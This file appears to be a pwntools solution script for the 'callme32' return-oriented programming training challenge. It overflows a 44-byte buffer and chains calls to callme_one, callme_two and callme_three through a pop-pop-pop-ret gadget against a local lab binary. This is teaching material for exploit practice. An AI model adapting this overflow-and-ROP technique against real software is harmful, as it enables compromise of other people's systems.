#!/usr/bin/env python
# Author : 0xsegf
# https://github.com/arjunshibu
# https://www.hackthebox.eu/home/users/profile/201892
from pwn import *

context.log_level = 'critical'

elf =   ELF('./callme32')

rop = "A" * 44
rop += p32(0x80485c0)   # callme_one@plt
rop += p32(0x080488a9)  # pop esi ; pop edi ; pop ebp ; ret
rop += p32(0x1)
rop += p32(0x2)
rop += p32(0x3)
rop += p32(0x8048620)   # callme_two@plt
rop += p32(0x080488a9)  # pop esi ; pop edi ; pop ebp ; ret
rop += p32(0x1)
rop += p32(0x2)
rop += p32(0x3)
rop += p32(0x80485b0)   # callme_three@plt
rop += "B" * 4          # final return address, doesnt matter
rop += p32(0x1)
rop += p32(0x2)
rop += p32(0x3)

p = elf.process()
print p.recvuntil('>')
p.sendline(rop)
p.recv()
p.interactive()
